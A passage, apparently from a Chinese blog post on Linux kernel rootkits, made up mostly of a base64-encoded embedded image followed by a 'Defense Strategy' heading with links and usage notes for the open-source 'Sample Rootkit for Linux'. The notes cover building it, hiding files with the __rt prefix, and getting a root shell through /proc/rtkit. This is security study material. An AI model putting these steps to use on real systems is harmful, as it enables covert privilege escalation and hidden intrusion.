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" alt="" />

0x4: Defense Strategy

Relevant Link:

http://www.xfocus.net/tools/200710/1233.html
http://files.cnblogs.com/LittleHann/hook_the_kernel_WNPS.pdf

6. Sample Rootkit for Linux

0x1: Installation && Usage

https://github.com/ivyl/rootkit,下载源代码之后,直接make编译即可,"Sample Rootkit for Linux"对大部分内核版本支持很多,这很大程度上也是因为它的代码量很小,涉及到和系统强依赖的因素也相对较少,所以编译上的兼容性就更高

这里简单介绍一下"Sample Rootkit for Linux"的使用

. 查看帮助
cat /proc/rtkit
当前rootkit进程是被隐藏起来的,我们直接输入/proc/rtkit即可查看rootkit的信息、以及rootkit支持的指令集
1.1 DESC:
) hides files prefixed with __rt or -__rt and gives root
1.2 CMNDS:
) mypenislong: 获得一个root权限的shell(提权)
